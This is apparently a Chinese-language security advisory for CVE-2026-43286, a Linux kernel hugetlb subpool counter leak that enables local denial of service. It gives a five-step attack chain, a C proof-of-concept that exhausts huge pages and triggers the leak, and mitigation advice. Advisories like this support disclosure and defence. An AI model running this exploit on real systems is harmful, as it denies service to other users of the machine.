IPBUF安全漏洞报告
English
CVE-2026-43286 CVSS 5.5 中危

Linux Kernel hugetlb子池保留泄漏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43286
漏洞类型
资源管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务资源管理错误hugetlb本地漏洞

漏洞概述

Linux内核mm/hugetlb组件存在资源管理漏洞。该漏洞源于在修复全局保留计数下溢时,未能在全局分配失败时正确还原子池的used_hpages计数器。攻击者可通过反复触发分配失败导致计数器泄漏,最终使子池不可用,造成本地拒绝服务。

技术细节

该漏洞位于Linux内核的大页内存管理子系统中。在处理大页分配时,子池的used_hpages计数器负责追踪已消耗的页面总数(包括子池和全局分配)。当从子池请求页面且需要从全局池获取额外页面时,如果全局分配失败(hugetlb_acct_memory返回失败),代码未能正确地将这些未成功获取的全局页面从子池的used_hpages计数器中扣除。这种计数器泄漏导致used_hpages持续累加,最终达到最大限制。尽管实际上并未消耗物理内存,但子池会误认为资源已耗尽,从而拒绝后续的合法分配请求,导致本地拒绝服务。

攻击链分析

STEP 1
环境准备
攻击者配置Linux系统并挂载hugetlbfs文件系统,设置子池的min和max参数(例如min=2, max=4),创建易于触发资源竞争的条件。
STEP 2
资源消耗
攻击者在全局大页池中分配并占用一定数量的大页,使得全局剩余资源不足以满足后续的跨池分配请求。
STEP 3
触发漏洞
攻击者在子池中发起大页分配请求,请求数量超过子池当前保留量,迫使系统尝试从全局池获取额外页面。由于全局池已耗尽,分配失败。
STEP 4
计数器泄漏
由于内核代码缺陷,分配失败时未能正确扣减子池的used_hpages计数器,导致该计数器数值虚高,产生资源泄漏。
STEP 5
拒绝服务
攻击者重复上述过程,直到子池的used_hpages计数器达到max上限。此时,尽管子池实际没有页面被使用,但系统将拒绝所有新的分配请求,造成DoS。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43286 * Conceptual reproduction to trigger subpool leak. * Requires root privileges to mount hugetlbfs and allocate pages. */ #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <fcntl.h> #include <unistd.h> #define HUGETLB_SIZE (2 * 1024 * 1024) // 2MB huge page void consume_global_pages(int count) { // Allocate pages globally to exhaust the pool for (int i = 0; i < count; i++) { void *addr = mmap(NULL, HUGETLB_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (addr == MAP_FAILED) { perror("mmap global failed"); return; } // Keep the mapping to hold the page } printf("Consumed %d global pages.\n", count); } int main() { // Step 1: Setup environment (conceptual, usually done via shell) // mount -t hugetlbfs none /mnt/huge -o min_size=2M,max_size=4M // Step 2: Consume global pages to create a scenario where global allocation fails // Assuming we have limited global pool, e.g., 4 pages total, subpool min=2, max=4 // We consume 2 pages globally, leaving 2 for the system/subpool interactions. consume_global_pages(2); // Step 3: Trigger the vulnerable path // Open a file on the hugetlbfs mount (subpool) int fd = open("/mnt/huge/test_file", O_CREAT | O_RDWR, 0755); if (fd < 0) { perror("open"); return 1; } // Step 4: Request 3 pages from the subpool. // Subpool min=2, max=4. Used=0. // Request asks for 3. Subpool provides 2, asks Global for 1. // If Global is exhausted (consumed in step 2), global allocation fails. // Vulnerability: spool->used_hpages increases by 3, but only decreases by 2 on failure. // Leak of 1 page in used_hpages counter. void *addr = mmap(NULL, 3 * HUGETLB_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) { printf("Allocation failed as expected (Global pool exhausted).\n"); printf("Subpool used_hpages counter is now leaked (corrupted).\n"); } else { printf("Allocation succeeded, vulnerability might not be triggered or pool is larger.\n"); munmap(addr, 3 * HUGETLB_SIZE); } close(fd); return 0; }

影响范围

Linux Kernel (包含 commit a833a693a490 之后)
Linux Kernel (修复 commit 1d3f9bb4c8af 之前)

防御指南

临时缓解措施
限制非特权用户对hugetlbfs文件系统的挂载和访问权限,监控内核日志中关于大页分配失败的异常记录,并在受影响版本发布补丁前尽量减少使用大页内存配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表